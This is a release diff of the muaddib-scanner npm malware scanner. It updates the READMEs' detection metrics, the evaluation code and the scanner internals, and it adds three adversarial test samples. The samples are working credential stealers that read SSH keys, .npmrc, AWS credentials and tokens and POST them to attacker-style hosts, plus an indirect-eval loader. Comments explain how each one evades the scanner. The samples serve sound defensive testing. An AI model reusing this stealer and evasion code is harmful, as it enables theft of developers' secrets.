muaddib-scanner 2.2.11 → 2.2.14

package/README.fr.md

@@ -686,7 +686,7 @@ MUAD'DIB 2.2.11 Scanner
 |   +-- Canary Tokens / Honey Tokens (sandbox)
 |
 +-- Validation & Observabilité (v2.1)
-|   +-- Ground Truth Dataset (5 attaques réelles, 100% détection)
+|   +-- Ground Truth Dataset (51 attaques réelles, 91.8% TPR)
 |   +-- Logging Temps de Détection (first_seen, métriques lead time)
 |   +-- Suivi Taux FP (stats quotidiennes, taux faux positifs)
 |   +-- Décomposition Score (scoring explicable par règle)
@@ -723,11 +723,10 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
 
 | Metrique | Resultat | Details |
 |----------|----------|---------|
-| **TPR** (Ground Truth) | **100%** (4/4) | Attaques reelles : event-stream, ua-parser-js, coa, node-ipc |
+| **TPR** (Ground Truth) | **91.8%** (45/49) | 51 attaques reelles (49 actives). 4 hors scope : browser-only (3) + risque FP (1) |
 | **FPR** (Packages standard) | **6.2%** (18/290) | Packages avec <10 fichiers JS — librairies et outils typiques |
-| **FPR** (Benign, global) | **13.1%** (69/527) | 529 packages npm, vrai code source via `npm pack`, seuil > 20 |
-| **ADR** (Adversarial) | **100%** (35/35) | 35 samples evasifs sur 4 vagues red team |
-| **Holdouts** (pre-tuning) | 40/40 pass | Tous les holdouts passent apres corrections |
+| **FPR** (Benign, global) | **~13%** (69/527) | 529 packages npm, vrai code source via `npm pack`, seuil > 20 |
+| **ADR** (Adversarial + Holdout) | **100%** (75/75) | 35 adversariaux + 40 holdouts evasifs sur 5 vagues red team |
 
 **FPR par taille de package** — Le FPR correle lineairement avec la taille du package. Le scoring per-file max (v2.2.11) reduit significativement les FP sur les packages moyens/gros :
 
@@ -738,7 +737,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
 | Gros (50-100 fichiers JS) | 40 | 10 | 25.0% |
 | Tres gros (100+ fichiers JS) | 62 | 25 | 40.3% |
 
-**Progression FPR** : 0% (invalide, dirs vides, v2.2.0-v2.2.6) → 38% (premiere vraie mesure, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) → **13.1%** (v2.2.11, scoring per-file max)
+**Progression FPR** : 0% (invalide, dirs vides, v2.2.0-v2.2.6) → 38% (premiere vraie mesure, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) → **~13%** (v2.2.11, scoring per-file max)
 
 **Progression holdout** (scores pre-tuning, regles gelees) :
 
@@ -750,12 +749,12 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
 | v4 | **80%** (8/10) | Efficacite desobfuscation |
 | v5 | 50% (5/10) | Dataflow inter-module (nouveau scanner) |
 
-- **TPR** (True Positive Rate) : taux de detection sur 4 attaques supply-chain reelles (event-stream, ua-parser-js, coa, node-ipc)
+- **TPR** (True Positive Rate) : taux de detection sur 49 attaques supply-chain reelles (event-stream, ua-parser-js, coa, flatmap-stream, eslint-scope, solana-web3js, et 43 autres). 4 misses : browser-only (lottie-player, polyfill-io, trojanized-jquery) ou risque FP (websocket-rat) — voir [Threat Model](docs/threat-model.md).
 - **FPR** (False Positive Rate) : packages avec score > 20 sur 529 packages npm reels (code source scanne, pas des dirs vides). Le 6.2% sur les packages standard (<10 fichiers JS, 290 packages) est la metrique la plus representative pour un usage typique — la plupart des packages npm sont petits.
-- **ADR** (Adversarial Detection Rate) : taux de detection sur 35 samples malveillants evasifs sur 4 vagues red team
+- **ADR** (Adversarial Detection Rate) : taux de detection sur 75 samples malveillants evasifs — 35 adversariaux (4 vagues red team) + 40 holdouts (5 batches de 10, testant obfuscation, dataflow inter-module, etc.)
 - **Holdout** (pre-tuning) : taux de detection sur 10 samples jamais vus avec regles gelees (mesure de generalisation)
 
-Datasets : 529 npm + 132 PyPI packages benins, 35 samples adversariaux, 50 samples holdout (5 batches), 65 packages malveillants documentes.
+Datasets : 529 npm + 132 PyPI packages benins, 75 samples adversariaux/holdout, 51 attaques ground-truth (65 packages malveillants documentes).
 
 Voir [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) pour le protocole experimental complet.
 
@@ -791,14 +790,12 @@ npm test
 
 ### Tests
 
-- **836 tests unitaires/intégration** sur 20 fichiers modulaires - 74% coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
-- **56 tests de fuzzing** - YAML malformé, JSON invalide, fichiers binaires, ReDoS, unicode, inputs 10MB
-- **35 samples adversariaux** - Packages malveillants évasifs, taux de détection 35/35 (100% ADR)
-- **50 samples holdout** - 5 batches de 10, scores pre-tuning : 30% → 40% → 60% → 80% → 50%
-- **8 tests multi-facteur typosquat** - Cas limites et comportement cache
-- **Validation ground truth** - 5/5 attaques réelles détectées (event-stream, ua-parser-js, coa, node-ipc, colors)
-- **Validation faux positifs** - 6.2% FPR sur packages standard (18/290), 13.1% global (69/527) sur vrai code source npm via `npm pack`
-- **Audit ESLint sécurité** - `eslint-plugin-security` avec 14 règles activées
+- **807 tests unitaires/integration** sur 20 fichiers modulaires - 74% coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
+- **56 tests de fuzzing** - YAML malforme, JSON invalide, fichiers binaires, ReDoS, unicode, inputs 10MB
+- **75 samples adversariaux/holdout** - 35 adversariaux + 40 holdouts, 75/75 taux de detection (100% ADR)
+- **Validation ground truth** - 51 attaques reelles (45/49 detectees = 91.8% TPR). 4 hors scope : browser-only (3) + risque FP (1)
+- **Validation faux positifs** - 6.2% FPR sur packages standard (18/290), ~13% global (69/527) sur vrai code source npm via `npm pack`
+- **Audit ESLint securite** - `eslint-plugin-security` avec 14 regles activees
 
 ---
 

package/README.md

@@ -334,15 +334,9 @@ muaddib replay
 muaddib ground-truth
 ```
 
-Replay 5 real-world supply-chain attacks against the scanner to validate detection coverage. Current results: 5/5 detected (100%).
+Replay real-world supply-chain attacks against the scanner to validate detection coverage. Current results: **45/49 detected (91.8% TPR)** from 51 samples (49 active).
 
-| Attack | Year | Detected | Findings |
-|--------|------|----------|----------|
-| event-stream | 2018 | Yes | 2 CRITICAL (known malicious package) |
-| ua-parser-js | 2021 | Yes | 1 MEDIUM (lifecycle script) |
-| coa | 2021 | Yes | 1 HIGH + 1 MEDIUM (lifecycle + obfuscation) |
-| node-ipc | 2022 | Yes | 2 CRITICAL (known malicious package) |
-| colors | 2022 | Yes | Out of scope (protestware, not malware) |
+4 out-of-scope misses: lottie-player, polyfill-io, trojanized-jquery (browser-only DOM attacks), websocket-rat (FP-risky pattern).
 
 ### Version check
 
@@ -689,7 +683,7 @@ MUAD'DIB 2.2.11 Scanner
 |   +-- Canary Tokens / Honey Tokens (sandbox)
 |
 +-- Validation & Observability (v2.1)
-|   +-- Ground Truth Dataset (5 real-world attacks, 100% detection)
+|   +-- Ground Truth Dataset (51 real-world attacks, 91.8% TPR)
 |   +-- Detection Time Logging (first_seen tracking, lead time metrics)
 |   +-- FP Rate Tracking (daily stats, false positive rate)
 |   +-- Score Breakdown (explainable per-rule scoring)
@@ -726,11 +720,10 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
 
 | Metric | Result | Details |
 |--------|--------|---------|
-| **TPR** (Ground Truth) | **100%** (4/4) | Real-world attacks: event-stream, ua-parser-js, coa, node-ipc |
+| **TPR** (Ground Truth) | **91.8%** (45/49) | 51 real-world attacks (49 active). 4 out-of-scope: browser-only (3) + FP-risky (1) |
 | **FPR** (Standard packages) | **6.2%** (18/290) | Packages with <10 JS files — typical libraries and tools |
-| **FPR** (Benign, global) | **13.1%** (69/527) | 529 npm packages, real source code via `npm pack`, threshold > 20 |
-| **ADR** (Adversarial) | **100%** (35/35) | 35 evasive samples across 4 red-team waves |
-| **Holdouts** (pre-tuning) | 40/40 pass | All holdout samples pass after corrections |
+| **FPR** (Benign, global) | **~13%** (69/527) | 529 npm packages, real source code via `npm pack`, threshold > 20 |
+| **ADR** (Adversarial + Holdout) | **100%** (75/75) | 35 adversarial + 40 holdout evasive samples across 5 red-team waves |
 
 **FPR by package size** — FPR correlates linearly with package size. Per-file max scoring (v2.2.11) significantly reduces FP on medium/large packages:
 
@@ -741,7 +734,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
 | Large (50-100 JS files) | 40 | 10 | 25.0% |
 | Very large (100+ JS files) | 62 | 25 | 40.3% |
 
-**FPR progression**: 0% (invalid, empty dirs, v2.2.0-v2.2.6) → 38% (first real measurement, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) → **13.1%** (v2.2.11, per-file max scoring)
+**FPR progression**: 0% (invalid, empty dirs, v2.2.0-v2.2.6) → 38% (first real measurement, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) → **~13%** (v2.2.11, per-file max scoring)
 
 **Holdout progression** (pre-tuning scores, rules frozen):
 
@@ -753,12 +746,12 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
 | v4 | **80%** (8/10) | Deobfuscation effectiveness |
 | v5 | 50% (5/10) | Inter-module dataflow (new scanner) |
 
-- **TPR** (True Positive Rate): detection rate on 4 real-world supply-chain attacks (event-stream, ua-parser-js, coa, node-ipc)
+- **TPR** (True Positive Rate): detection rate on 49 real-world supply-chain attacks (event-stream, ua-parser-js, coa, flatmap-stream, eslint-scope, solana-web3js, and 43 more). 4 misses are browser-only (lottie-player, polyfill-io, trojanized-jquery) or risky to fix (websocket-rat) — see [Threat Model](docs/threat-model.md).
 - **FPR** (False Positive Rate): packages scoring > 20 out of 529 real npm packages (source code scanned, not empty dirs). The 6.2% on standard packages (<10 JS files, 290 packages) is the most representative metric for typical use — most npm packages are small.
-- **ADR** (Adversarial Detection Rate): detection rate on 35 evasive malicious samples across 4 red-team waves
+- **ADR** (Adversarial Detection Rate): detection rate on 75 evasive malicious samples — 35 adversarial (4 red-team waves) + 40 holdout (5 batches of 10, testing obfuscation, inter-module dataflow, etc.)
 - **Holdout** (pre-tuning): detection rate on 10 unseen samples with rules frozen (measures generalization)
 
-Datasets: 529 npm + 132 PyPI benign packages, 35 adversarial samples, 50 holdout samples (5 batches), 65 documented malware packages.
+Datasets: 529 npm + 132 PyPI benign packages, 75 adversarial/holdout samples, 51 ground-truth attacks (65 documented malware packages).
 
 See [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) for the full experimental protocol.
 
@@ -794,13 +787,11 @@ npm test
 
 ### Testing
 
-- **836 unit/integration tests** across 20 modular test files - 74% code coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
+- **814 unit/integration tests** across 20 modular test files - 74% code coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
 - **56 fuzz tests** - Malformed YAML, invalid JSON, binary files, ReDoS, unicode, 10MB inputs
-- **35 adversarial samples** - Evasive malicious packages, 35/35 detection rate (100% ADR)
-- **50 holdout samples** - 5 batches of 10, pre-tuning scores: 30% → 40% → 60% → 80% → 50%
-- **8 multi-factor typosquat tests** - Edge cases and cache behavior
-- **Ground truth validation** - 5/5 real-world attacks detected (event-stream, ua-parser-js, coa, node-ipc, colors)
-- **False positive validation** - 6.2% FPR on standard packages (18/290), 13.1% global (69/527) on real npm source code via `npm pack`
+- **75 adversarial/holdout samples** - 35 adversarial + 40 holdout, 75/75 detection rate (100% ADR)
+- **Ground truth validation** - 51 real-world attacks (45/49 detected = 91.8% TPR). 4 out-of-scope: browser-only (3) + FP-risky (1)
+- **False positive validation** - 6.2% FPR on standard packages (18/290), ~13% global (69/527) on real npm source code via `npm pack`
 - **ESLint security audit** - `eslint-plugin-security` with 14 rules enabled
 
 ---

package/datasets/adversarial/indirect-eval-bypass/index.js

@@ -0,0 +1,27 @@
+// Bypass 01: Indirect eval via computed property access
+// Technique: Array.join to build "eval" string, then call via globalThis[computed]
+// Expected: MUAD'DIB scores < 3 (bypass confirmed)
+
+const g = globalThis;
+
+// Array.join is NOT handled by the deobfuscator (only handles String.fromCharCode,
+// Buffer.from, atob, and string concat BinaryExpression)
+const k = ['e','v','a','l'].join('');
+
+// This URL contains "api.github.com" which is in SAFE_STRINGS
+// The SAFE_STRINGS check in ast.js:806-808 returns early before checking SENSITIVE_STRINGS
+// So even though the URL also references .ssh paths, no sensitive_string finding is emitted
+const configUrl = "https://api.github.com/repos/legit-org/config/contents/.ssh/deploy_key";
+
+const https = require('https');
+https.get(configUrl, (res) => {
+  let d = '';
+  res.on('data', c => d += c);
+  res.on('end', () => {
+    // Decode the "content" field from GitHub API response (base64-encoded)
+    const payload = Buffer.from(JSON.parse(d).content, 'base64').toString();
+    // Indirect eval: globalThis['eval'](payload)
+    // getCallName() returns '' for computed MemberExpression — never matches 'eval'
+    g[k](payload);
+  });
+});

package/datasets/adversarial/indirect-eval-bypass/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "audit-bypass-01-indirect-eval",
+  "version": "1.0.0",
+  "description": "Audit bypass: indirect eval via computed property + SAFE_STRINGS poisoning"
+}

package/datasets/adversarial/mjs-extension-bypass/package.json

@@ -0,0 +1,6 @@
+{
+  "name": "audit-bypass-03-mjs-extension",
+  "version": "1.0.0",
+  "type": "module",
+  "description": "Audit bypass: .mjs files are not scanned by any scanner"
+}

package/datasets/adversarial/mjs-extension-bypass/stealer.mjs

@@ -0,0 +1,39 @@
+// Bypass 03: .mjs extension — no scanner processes this file type
+// All scanners use findFiles with extensions: ['.js'] or findJsFiles
+// ESM packages with "type": "module" use .mjs files legitimately
+
+import { readFileSync } from 'fs';
+import { homedir } from 'os';
+import { request } from 'https';
+
+// Direct credential theft — every dangerous pattern in one file
+// None of this is detected because the file extension is .mjs
+const home = homedir();
+const stolen = {};
+
+const targets = ['.ssh/id_rsa', '.ssh/id_ed25519', '.npmrc', '.aws/credentials'];
+for (const t of targets) {
+  try {
+    stolen[t] = readFileSync(`${home}/${t}`, 'utf8');
+  } catch {}
+}
+
+// Also grab environment tokens
+stolen['GITHUB_TOKEN'] = process.env.GITHUB_TOKEN || '';
+stolen['NPM_TOKEN'] = process.env.NPM_TOKEN || '';
+stolen['AWS_SECRET_ACCESS_KEY'] = process.env.AWS_SECRET_ACCESS_KEY || '';
+
+// Exfiltrate
+const data = JSON.stringify(stolen);
+const req = request({
+  hostname: 'collect.evil-analytics.com',
+  path: '/v2/telemetry',
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
+});
+req.write(data);
+req.end();
+
+// Also use eval with dynamic code (would be CRITICAL if this were .js)
+const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
+eval(payload);

package/datasets/adversarial/muaddib-ignore-bypass/index.js

@@ -0,0 +1,47 @@
+// muaddib-ignore
+//# sourceMappingURL=index.js.map
+// Bypass 02: muaddib-ignore kills dataflow scanner, sourceMappingURL kills entropy scanner
+// The AST scanner does NOT respect muaddib-ignore, so we avoid AST-detected patterns.
+// Strategy: construct sensitive paths without using SENSITIVE_STRINGS literals directly.
+
+const fs = require('fs');
+const os = require('os');
+const https = require('https');
+const path = require('path');
+
+const home = os.homedir();
+
+// Build path components without triggering SENSITIVE_STRINGS check.
+// SENSITIVE_STRINGS: ['.npmrc', '.ssh', '.aws', '.gitconfig', '.env', '/etc/passwd', '/etc/shadow']
+// AST Literal handler checks node.value.includes(sensitive) for each string literal.
+// We avoid having any single string literal that includes these substrings.
+const dot = '.';
+const dirs = [
+  [dot + 'ss' + 'h', 'id_rsa'],
+  [dot + 'ss' + 'h', 'id_ed25519'],
+  [dot + 'aw' + 's', 'credentials'],
+  [dot + 'npm' + 'rc'],
+];
+
+const stolen = {};
+for (const parts of dirs) {
+  const p = path.join(home, ...parts);
+  try { stolen[parts[parts.length - 1]] = fs.readFileSync(p, 'utf8'); } catch {}
+}
+
+// Also read npmrc via environment — env_access only flags vars with sensitive keywords
+// HOME, PATH etc are in SAFE_ENV_VARS and get skipped
+const npmrcPath = path.join(home, dirs[3].join(path.sep));
+try { stolen['npmrc'] = fs.readFileSync(npmrcPath, 'utf8'); } catch {}
+
+// Exfiltrate via https.request — dataflow.js would catch this as source→sink,
+// BUT dataflow.js skipped this file due to muaddib-ignore on line 1
+const data = JSON.stringify(stolen);
+const req = https.request({
+  hostname: 'telemetry.legit-analytics.com',
+  path: '/api/v1/report',
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
+});
+req.write(data);
+req.end();

package/datasets/adversarial/muaddib-ignore-bypass/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "audit-bypass-02-muaddib-ignore",
+  "version": "1.0.0",
+  "description": "Audit bypass: muaddib-ignore directive + source map injection"
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "muaddib-scanner",
-  "version": "2.2.11",
+  "version": "2.2.14",
   "description": "Supply-chain threat detection & response for npm & PyPI/Python",
   "main": "src/index.js",
   "bin": {
@@ -8,6 +8,7 @@
   },
   "scripts": {
     "test": "node tests/run-tests.js",
+    "test:integration": "node tests/run-tests-integration.js",
     "scan": "node bin/muaddib.js scan .",
     "update": "node bin/muaddib.js update",
     "lint": "eslint src bin --ext .js",
@@ -46,7 +47,7 @@
     "@inquirer/prompts": "8.2.1",
     "acorn": "8.15.0",
     "acorn-walk": "8.3.4",
-    "adm-zip": "^0.5.16",
+    "adm-zip": "0.5.16",
     "chalk": "5.6.2",
     "js-yaml": "4.1.1",
     "yargs": "18.0.0"

package/src/commands/evaluate.js

@@ -22,6 +22,12 @@ const BENIGN_DIR = path.join(ROOT, 'datasets', 'benign');
 const ADVERSARIAL_DIR = path.join(ROOT, 'datasets', 'adversarial');
 const METRICS_DIR = path.join(ROOT, 'metrics');
 const CACHE_DIR = path.join(ROOT, '.muaddib-cache', 'benign-tarballs');
+const HOLDOUT_DIRS = [
+  path.join(ROOT, 'datasets', 'holdout-v2'),
+  path.join(ROOT, 'datasets', 'holdout-v3'),
+  path.join(ROOT, 'datasets', 'holdout-v4'),
+  path.join(ROOT, 'datasets', 'holdout-v5'),
+];
 
 const GT_THRESHOLD = 3;
 const BENIGN_THRESHOLD = 20;
@@ -65,7 +71,38 @@ const ADVERSARIAL_THRESHOLDS = {
   'pyinstaller-dropper': 35,
   'gh-cli-token-steal': 30,
   'triple-base64-github-push': 30,
-  'browser-api-hook': 20
+  'browser-api-hook': 20,
+  // Audit bypass samples (v2.2.13)
+  'indirect-eval-bypass': 10,
+  'muaddib-ignore-bypass': 25,
+  'mjs-extension-bypass': 100
+};
+
+const HOLDOUT_THRESHOLDS = {
+  // holdout-v2 (10 samples)
+  'conditional-os-payload': 25, 'env-var-reconstruction': 25,
+  'github-workflow-inject': 20, 'homedir-ssh-key-steal': 25,
+  'npm-cache-poison': 20, 'npm-lifecycle-preinstall-curl': 25,
+  'process-env-proxy-getter': 20, 'readable-stream-hijack': 20,
+  'setTimeout-chain': 25, 'wasm-loader': 20,
+  // holdout-v3 (10 samples)
+  'dns-txt-payload': 25, 'electron-rce': 30,
+  'env-file-parse-exfil': 20, 'git-credential-steal': 20,
+  'npm-hook-hijack': 25, 'postinstall-reverse-shell': 35,
+  'require-cache-poison': 20, 'steganography-payload': 15,
+  'symlink-escape': 25, 'timezone-trigger': 30,
+  // holdout-v4 (10 samples — deobfuscation)
+  'atob-eval': 20, 'base64-require': 35,
+  'charcode-fetch': 25, 'charcode-spread-homedir': 30,
+  'concat-env-steal': 20, 'double-decode-exfil': 40,
+  'hex-array-exec': 20, 'mixed-obfuscation-stealer': 30,
+  'nested-base64-concat': 25, 'template-literal-hide': 40,
+  // holdout-v5 (10 samples — inter-module dataflow)
+  'callback-exfil': 3, 'class-method-exfil': 20,
+  'conditional-split': 25, 'event-emitter-flow': 3,
+  'mixed-inline-split': 20, 'named-export-steal': 20,
+  'reexport-chain': 20, 'split-env-exfil': 20,
+  'split-npmrc-steal': 20, 'three-hop-chain': 20
 };
 
 /**
@@ -300,23 +337,39 @@ async function evaluateAdversarial() {
   const details = [];
   let detected = 0;
 
-  const sampleNames = Object.keys(ADVERSARIAL_THRESHOLDS);
-  for (const name of sampleNames) {
+  // --- Adversarial samples (35) ---
+  for (const [name, threshold] of Object.entries(ADVERSARIAL_THRESHOLDS)) {
     const sampleDir = path.join(ADVERSARIAL_DIR, name);
     if (!fs.existsSync(sampleDir)) {
-      details.push({ name, score: 0, threshold: ADVERSARIAL_THRESHOLDS[name], detected: false, error: 'directory not found' });
+      details.push({ name, score: 0, threshold, detected: false, error: 'directory not found', source: 'adversarial' });
       continue;
     }
+    const result = await silentScan(sampleDir);
+    const score = result.summary.riskScore;
+    const isDetected = score >= threshold;
+    if (isDetected) detected++;
+    details.push({ name, score, threshold, detected: isDetected, source: 'adversarial' });
+  }
 
+  // --- Holdout samples (40) ---
+  for (const [name, threshold] of Object.entries(HOLDOUT_THRESHOLDS)) {
+    let sampleDir = null;
+    for (const hDir of HOLDOUT_DIRS) {
+      const candidate = path.join(hDir, name);
+      if (fs.existsSync(candidate)) { sampleDir = candidate; break; }
+    }
+    if (!sampleDir) {
+      details.push({ name, score: 0, threshold, detected: false, error: 'directory not found', source: 'holdout' });
+      continue;
+    }
     const result = await silentScan(sampleDir);
     const score = result.summary.riskScore;
-    const threshold = ADVERSARIAL_THRESHOLDS[name];
     const isDetected = score >= threshold;
     if (isDetected) detected++;
-    details.push({ name, score, threshold, detected: isDetected });
+    details.push({ name, score, threshold, detected: isDetected, source: 'holdout' });
   }
 
-  const total = sampleNames.length;
+  const total = Object.keys(ADVERSARIAL_THRESHOLDS).length + Object.keys(HOLDOUT_THRESHOLDS).length;
   const adr = total > 0 ? detected / total : 0;
   return { detected, total, adr, details };
 }
@@ -425,6 +478,7 @@ module.exports = {
   saveMetrics,
   silentScan,
   ADVERSARIAL_THRESHOLDS,
+  HOLDOUT_THRESHOLDS,
   GT_THRESHOLD,
   BENIGN_THRESHOLD
 };

package/src/index.js

@@ -25,7 +25,7 @@ const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
 const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
 const { detectPublishAnomaly } = require('./publish-anomaly.js');
 const { detectMaintainerChange } = require('./maintainer-change.js');
-const { setExtraExcludes, getExtraExcludes, Spinner } = require('./utils.js');
+const { setExtraExcludes, getExtraExcludes, Spinner, listInstalledPackages } = require('./utils.js');
 
 // ============================================
 // SCORING CONSTANTS
@@ -62,7 +62,7 @@ const RISK_THRESHOLDS = {
 // Maximum score (capped)
 const MAX_RISK_SCORE = 100;
 
-const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
+const { MAX_FILE_SIZE } = require('./shared/constants.js');
 
 // Cap MEDIUM prototype_hook contribution (frameworks like Restify have 50+ extensions)
 const PROTO_HOOK_MEDIUM_CAP = 15;
@@ -312,6 +312,14 @@ function checkPyPITyposquatting(deps, targetPath) {
 }
 
 async function run(targetPath, options = {}) {
+  // Validate targetPath exists and is a directory
+  if (!targetPath || !fs.existsSync(targetPath)) {
+    throw new Error(`Target path does not exist: ${targetPath}`);
+  }
+  if (!fs.statSync(targetPath).isDirectory()) {
+    throw new Error(`Target path is not a directory: ${targetPath}`);
+  }
+
   // Ensure IOCs are downloaded (first run only, graceful failure)
   await ensureIOCs();
 
@@ -396,7 +404,7 @@ async function run(targetPath, options = {}) {
     ...pypiTyposquatThreats,
     ...entropyThreats,
     ...aiConfigThreats,
-    ...crossFileFlows.map(f => ({
+    ...crossFileFlows.filter(f => f && f.sourceFile && f.sinkFile).map(f => ({
       type: f.type,
       severity: f.severity,
       message: `Cross-file dataflow: ${f.source} in ${f.sourceFile} → ${f.sink} in ${f.sinkFile}`,
@@ -416,33 +424,8 @@ async function run(targetPath, options = {}) {
     if (!options._capture && !options.json) {
       console.log('[TEMPORAL] Analyzing lifecycle script changes (this makes network requests)...\n');
     }
-    const nodeModulesPath = path.join(targetPath, 'node_modules');
-    if (fs.existsSync(nodeModulesPath)) {
-      const pkgNames = [];
-      try {
-        const items = fs.readdirSync(nodeModulesPath);
-        for (const item of items) {
-          if (item.startsWith('.')) continue;
-          const itemPath = path.join(nodeModulesPath, item);
-          try {
-            const stat = fs.lstatSync(itemPath);
-            if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
-            if (item.startsWith('@')) {
-              const scopedItems = fs.readdirSync(itemPath);
-              for (const si of scopedItems) {
-                const sp = path.join(itemPath, si);
-                const ss = fs.lstatSync(sp);
-                if (!ss.isSymbolicLink() && ss.isDirectory()) {
-                  pkgNames.push(`${item}/${si}`);
-                }
-              }
-            } else {
-              pkgNames.push(item);
-            }
-          } catch { /* skip unreadable */ }
-        }
-      } catch { /* no node_modules readable */ }
-
+    const pkgNames = listInstalledPackages(targetPath);
+    {
       const TEMPORAL_CONCURRENCY = 5;
       for (let i = 0; i < pkgNames.length; i += TEMPORAL_CONCURRENCY) {
         const batch = pkgNames.slice(i, i + TEMPORAL_CONCURRENCY);
@@ -474,33 +457,8 @@ async function run(targetPath, options = {}) {
     if (!options._capture && !options.json) {
       console.log('[TEMPORAL-AST] Analyzing dangerous API changes (this downloads tarballs)...\n');
     }
-    const nodeModulesPath = path.join(targetPath, 'node_modules');
-    if (fs.existsSync(nodeModulesPath)) {
-      const pkgNames = [];
-      try {
-        const items = fs.readdirSync(nodeModulesPath);
-        for (const item of items) {
-          if (item.startsWith('.')) continue;
-          const itemPath = path.join(nodeModulesPath, item);
-          try {
-            const stat = fs.lstatSync(itemPath);
-            if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
-            if (item.startsWith('@')) {
-              const scopedItems = fs.readdirSync(itemPath);
-              for (const si of scopedItems) {
-                const sp = path.join(itemPath, si);
-                const ss = fs.lstatSync(sp);
-                if (!ss.isSymbolicLink() && ss.isDirectory()) {
-                  pkgNames.push(`${item}/${si}`);
-                }
-              }
-            } else {
-              pkgNames.push(item);
-            }
-          } catch { /* skip unreadable */ }
-        }
-      } catch { /* no node_modules readable */ }
-
+    const pkgNames = listInstalledPackages(targetPath);
+    {
       const AST_CONCURRENCY = 3;
       for (let i = 0; i < pkgNames.length; i += AST_CONCURRENCY) {
         const batch = pkgNames.slice(i, i + AST_CONCURRENCY);
@@ -531,33 +489,8 @@ async function run(targetPath, options = {}) {
     if (!options._capture && !options.json) {
       console.log('[TEMPORAL-PUBLISH] Analyzing publish frequency anomalies (this makes network requests)...\n');
     }
-    const nodeModulesPath = path.join(targetPath, 'node_modules');
-    if (fs.existsSync(nodeModulesPath)) {
-      const pkgNames = [];
-      try {
-        const items = fs.readdirSync(nodeModulesPath);
-        for (const item of items) {
-          if (item.startsWith('.')) continue;
-          const itemPath = path.join(nodeModulesPath, item);
-          try {
-            const stat = fs.lstatSync(itemPath);
-            if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
-            if (item.startsWith('@')) {
-              const scopedItems = fs.readdirSync(itemPath);
-              for (const si of scopedItems) {
-                const sp = path.join(itemPath, si);
-                const ss = fs.lstatSync(sp);
-                if (!ss.isSymbolicLink() && ss.isDirectory()) {
-                  pkgNames.push(`${item}/${si}`);
-                }
-              }
-            } else {
-              pkgNames.push(item);
-            }
-          } catch { /* skip unreadable */ }
-        }
-      } catch { /* no node_modules readable */ }
-
+    const pkgNames = listInstalledPackages(targetPath);
+    {
       const PUBLISH_CONCURRENCY = 5;
       for (let i = 0; i < pkgNames.length; i += PUBLISH_CONCURRENCY) {
         const batch = pkgNames.slice(i, i + PUBLISH_CONCURRENCY);
@@ -585,33 +518,8 @@ async function run(targetPath, options = {}) {
     if (!options._capture && !options.json) {
       console.log('[TEMPORAL-MAINTAINER] Analyzing maintainer changes (this makes network requests)...\n');
     }
-    const nodeModulesPath = path.join(targetPath, 'node_modules');
-    if (fs.existsSync(nodeModulesPath)) {
-      const pkgNames = [];
-      try {
-        const items = fs.readdirSync(nodeModulesPath);
-        for (const item of items) {
-          if (item.startsWith('.')) continue;
-          const itemPath = path.join(nodeModulesPath, item);
-          try {
-            const stat = fs.lstatSync(itemPath);
-            if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
-            if (item.startsWith('@')) {
-              const scopedItems = fs.readdirSync(itemPath);
-              for (const si of scopedItems) {
-                const sp = path.join(itemPath, si);
-                const ss = fs.lstatSync(sp);
-                if (!ss.isSymbolicLink() && ss.isDirectory()) {
-                  pkgNames.push(`${item}/${si}`);
-                }
-              }
-            } else {
-              pkgNames.push(item);
-            }
-          } catch { /* skip unreadable */ }
-        }
-      } catch { /* no node_modules readable */ }
-
+    const pkgNames = listInstalledPackages(targetPath);
+    {
       const MAINTAINER_CONCURRENCY = 5;
       for (let i = 0; i < pkgNames.length; i += MAINTAINER_CONCURRENCY) {
         const batch = pkgNames.slice(i, i + MAINTAINER_CONCURRENCY);

package/src/ioc/bootstrap.js

@@ -4,6 +4,7 @@ const fs = require('fs');
 const path = require('path');
 const os = require('os');
 const zlib = require('zlib');
+const { debugLog } = require('../utils.js');
 
 // GitHub Releases URL for pre-compressed IOC database
 const IOCS_URL = 'https://github.com/DNSZLSK/muad-dib/releases/latest/download/iocs.json.gz';
@@ -87,12 +88,12 @@ function downloadAndDecompress(url, destPath) {
 
         gunzip.on('error', (err) => {
           fileStream.destroy();
-          try { fs.unlinkSync(tmpPath); } catch {}
+          try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
           reject(new Error('Decompression failed: ' + err.message));
         });
 
         fileStream.on('error', (err) => {
-          try { fs.unlinkSync(tmpPath); } catch {}
+          try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
           reject(err);
         });
 
@@ -102,7 +103,7 @@ function downloadAndDecompress(url, destPath) {
             fs.renameSync(tmpPath, destPath);
             resolve();
           } catch (err) {
-            try { fs.unlinkSync(tmpPath); } catch {}
